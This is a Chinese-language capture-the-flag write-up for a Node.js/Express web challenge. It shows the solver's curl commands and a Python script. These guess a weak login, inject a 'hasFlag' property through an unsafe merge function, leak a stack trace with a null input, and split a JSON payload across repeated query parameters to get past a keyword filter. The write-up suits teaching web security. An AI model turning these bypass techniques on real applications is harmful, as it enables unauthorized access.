Flag: SYC{70b7e827-5140-493e-82dc-be6fa3b8bfe3}
解题过程
Step 1: 信息收集 -- 分析登录页面
访问 /login 页面,审查页面 HTML 源码,发现两个关键线索:
线索一 -- 页面标题提示:
<p id="heading">懒得改前端了,要不抓包看看响应?</p>
这句话暗示: 前端页面本身没有展示完整信息,需要通过抓包工具 (如 Burp Suite、curl、浏览器 DevTools 的 Network 面板) 观察服务端返回的 HTTP 响应体,才能获取关键提示。
线索二 -- 前端 JS 代码:
function submitForm() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
}
从中可以得知:
- 登录接口:
POST /login
- 请求格式:
Content-Type: application/json
- 请求体结构:
{"username":"xxx","password":"xxx"}
- 响应结果只输出到浏览器 console,页面上不会直接展示
因此如果只在浏览器上点登录按钮,看不到任何有用的反馈。必须通过抓包或 curl 直接查看响应体内容。
Step 2: 抓包获取账号密码提示
用 curl 发送一组测试账号密码,重点查看响应体:
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}'
服务端返回了静态文件 error2.html,HTML 内容如下:
<title>账号或密码错误</title>
<h1>账号和密码好像没对呢?</h1>
<h1>Username:${{Author}}</h1>
<h1>Password:len(password) = 6 弱密码&纯数字</h1>
从中提取到两个关键信息:
- 用户名:
${{Author}} -- 这是一个模板变量的写法,意思是用户名就是题目的作者名。题目已知 author 为 Starven
- 密码: 长度为 6,弱密码,纯数字 -- 6 位纯数字最常见的弱密码就是
123456
Step 3: 登录成功,从响应体中获取源码
使用推断出的凭据登录:
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":"Starven","password":"123456"}'
服务端返回了另一个静态文件 error.html。这个页面的 HTML 源码中,出题人故意将服务端部分源码以 <h1> 标签的形式直接嵌入在响应体里,作为提示引导选手:
<h1>账密对了,但是没有flag的权限还想要flag?你好像污染没成功呢?那咋办呢?</h1>
<h1>给你一部分源码想想怎么污染呢</h1>
<h1>const { merge } = require('./utils/common.js');
function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
merge(geeker, req.body);
if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, ...);
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, ...);
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, ...);
}
}</h1>
<h1>function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge }</h1>
也就是说,这些源码并非通过目录遍历或文件读取等漏洞获得,而是出题人主动写在 error.html 静态页面中,当你用正确的账密登录但缺少 hasFlag 权限时,服务端返回这个页面,其中包含了 index.js 的 handleLogin 函数和 utils/common.js 的 merge 函数的完整代码。
Step 4: 源码审计 -- 发现原型链污染漏洞
分析泄露的源码,理清服务端处理流程:
1. 创建 geeker 对象:
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
此时 geeker 的结构为:
geeker
└── geekerData
├── username: "Starven"
└── password: "123456"
注意: geeker 上没有 hasFlag 属性。
2. 执行 merge:
merge(geeker, req.body);
merge 函数将 req.body 的所有属性合并到 geeker 上。关键逻辑:
- 如果某个 key 同时存在于两个对象中 -> 递归合并
- 如果某个 key 只存在于
req.body 中 -> 直接赋值到 geeker 上
3. 权限检查:
if (geeker.hasFlag) {
// 返回 direct.html -> 提示去 /flag
} else {
// 返回 error.html -> 提示没有权限
}
漏洞利用: 由于 geeker 初始没有 hasFlag 属性,而 merge 会将请求体中 geeker 不存在的属性直接赋值,因此只需在请求体中添加 "hasFlag": true,merge 执行后 geeker.hasFlag = true,绕过权限检查。
Step 5: 利用 merge 注入 hasFlag 属性
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":"Starven","password":"123456","hasFlag":true}'
服务端返回 direct.html:
<h1>有了flag权限了,快去/flag看看吧</h1>
登录环节通过。
Step 6: 分析 /flag 路由 -- 通过错误信息逆向推断
访问 GET /flag 返回一个表单页面,包含输入框 name="syc",提交方式为 GET:
<form action="/flag" method="GET">
<input type="text" id="flag" name="syc">
<input type="submit" value="give me flag!">
</form>
服务端 /flag 路由的代码没有泄露,需要通过构造不同类型的 syc 值观察响应差异来逆向推断逻辑:
| syc 值 |
HTTP 状态码 |
响应大小 |
响应内容 |
推断 |
| 无/空 |
200 |
865B |
表单 HTML |
无参数时返回默认表单 |
flag |
200 |
865B |
表单 HTML |
非法 JSON,parse 失败被 catch |
1abc |
200 |
865B |
表单 HTML |
非法 JSON,parse 失败被 catch |
1 |
200 |
73B |
"还是和登陆一样..." |
JSON.parse("1") = 1,进入逻辑 |
true |
200 |
73B |
"还是和登陆一样..." |
JSON.parse("true") = true,进入逻辑 |
123456 |
200 |
73B |
"还是和登陆一样..." |
JSON.parse("123456") = 123456 |
000000 |
200 |
865B |
表单 HTML |
前导零非法 JSON |
null |
500 |
1153B |
TypeError 报错 |
JSON.parse("null") = null |
关键突破 -- syc=null 触发 500 报错:
TypeError: Cannot read properties of null (reading 'username')
at /var/www/html/index.js:96:14
这条报错信息揭示了三个事实:
- 服务端对
syc 参数执行了 JSON.parse() -- 因为 JSON.parse("null") 返回 JS 的 null
- 然后访问了解析结果的
.username 属性 -- null.username 抛出 TypeError
- 相关代码在
index.js 第 96 行
推断服务端 /flag 路由逻辑:
app.get('/flag', (req, res) => {
try {
const data = JSON.parse(req.query.syc); // 第 96 行附近
if (data.username == 'Starven' && data.password == '123456') {
if (data.hasFlag) {
// 返回 flag
} else {
res.send('就这还想要flag?');
}
} else {
res.send('还是和登陆一样...');
}
} catch(e) {
// JSON.parse 失败时返回表单页面
res.sendFile('flag.html');
}
});
Step 7: 构造 JSON 对象测试 -- 发现 hasFlag 被过滤
既然知道 syc 需要传 JSON 对象,构造请求:
# 传入正确的凭据
curl --get http://target/flag \
--data-urlencode 'syc={"username":"Starven","password":"123456"}'
# 响应: "就这还想要flag?" -- 凭据正确,但缺少 hasFlag
# 加上 hasFlag
curl --get http://target/flag \
--data-urlencode 'syc={"username":"Starven","password":"123456","hasFlag":true}'
# 响应: "就这还想要flag?" -- 仍然被拒!
直接在 JSON 中传 hasFlag:true 无效。说明 /flag 路由在 JSON.parse 之前,对 syc 原始字符串做了关键字过滤,检测到包含 hasFlag 就直接拒绝。
此时页面还有一句提示:
"还是和登陆一样, 我只是略施小计, 你知道咋绕过吗?"
- "和登陆一样" -- 同样需要 hasFlag 属性才能获取 flag
- "略施小计" -- 对 syc 字符串增加了 hasFlag 关键字检测
Step 8: HPP 参数污染绕过过滤 -- 最终解法
核心原理 -- Express 对同名参数的处理机制:
在 Express 框架中,当 URL 中同一个参数名出现多次时,req.query 会将其解析为数组:
// URL: ?syc=aaa&syc=bbb&syc=ccc
req.query.syc // -> ["aaa", "bbb", "ccc"] (数组)
// URL: ?syc=aaa
req.query.syc // -> "aaa" (字符串)
攻击思路: 服务端过滤逻辑可能类似:
const syc = req.query.syc;
// 只对字符串类型做关键字检测
if (typeof syc === 'string' && syc.includes('hasFlag')) {
return res.send('就这还想要flag?');
}
// 对非字符串类型 (如数组) 调用 String() 转换后再 JSON.parse
const data = JSON.parse(String(syc));
当 syc 是数组时:
typeof syc 是 "object",不是 "string" -- 绕过了字符串关键字检测
String(["aaa","bbb","ccc"]) 等价于 "aaa,bbb,ccc" -- 数组的 .toString() 用逗号拼接
构造 HPP payload:
将一个完整的 JSON 拆成三段,分别作为三个同名 syc 参数:
第1个参数: syc = {"username":"Starven"
第2个参数: syc = "password":"123456"
第3个参数: syc = "hasFlag":true}
Express 解析后: req.query.syc = ['{"username":"Starven"', '"password":"123456"', '"hasFlag":true}']
调用 String() 转换时,数组元素用逗号拼接:
{"username":"Starven","password":"123456","hasFlag":true}
这是一个合法的 JSON 字符串! 而每个单独的参数值都不包含完整的 hasFlag 关键字,成功绕过了过滤。
Step 9: 获取 Flag
使用 Python requests 发送 HPP 请求:
import requests
base = 'http://target'
s = requests.Session()
r = s.get(base + '/flag', params=[
('syc', '{"username":"Starven"'),
('syc', '"password":"123456"'),
('syc', '"hasFlag":true}')
])
print(r.text)
# SYC{70b7e827-5140-493e-82dc-be6fa3b8bfe3}
等效 curl 命令:
curl 'http://target/flag?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}'
知识点总结
1. 抓包分析的重要性
题目明确提示 "抓包看看响应"。前端 JS 将登录结果输出到 console 而非页面,响应体中包含关键提示信息 (账密线索、源码泄露) 。如果只在浏览器上操作而不抓包,会遗漏大量信息。
2. Node.js 原型链污染
merge 函数递归合并对象时,未对 __proto__、constructor 等特殊属性做过滤,攻击者可以通过控制输入对象污染 Object.prototype,影响所有 JS 对象的属性。
本题中 merge(geeker, req.body) 允许攻击者在请求体中注入任意属性到 geeker 对象,从而绕过 geeker.hasFlag 的权限检查。这是原型链污染最基础的利用形式: 属性注入。
3. HTTP Parameter Pollution (HPP)
Express 框架对同名查询参数的处理机制:
// ?a=1&a=2&a=3
req.query.a // -> ["1", "2", "3"] (数组)
// ?a=1
req.query.a // -> "1" (字符串)
利用 typeof 检测差异和 Array.prototype.toString() 的逗号拼接特性,可以将一个包含敏感关键字的 JSON 字符串拆分成多个不含该关键字的片段,绕过基于字符串匹配的过滤。
4. 错误信息泄露辅助逆向
通过构造 syc=null 等异常输入故意触发服务端未捕获的异常,从 stack trace 中获取:
- 源码文件路径:
/var/www/html/index.js
- 代码行号: 第 96 行访问
.username
- 调用栈结构
这些信息帮助逆向推断出 /flag 路由的处理逻辑: 先 JSON.parse(syc) 再检查 .username。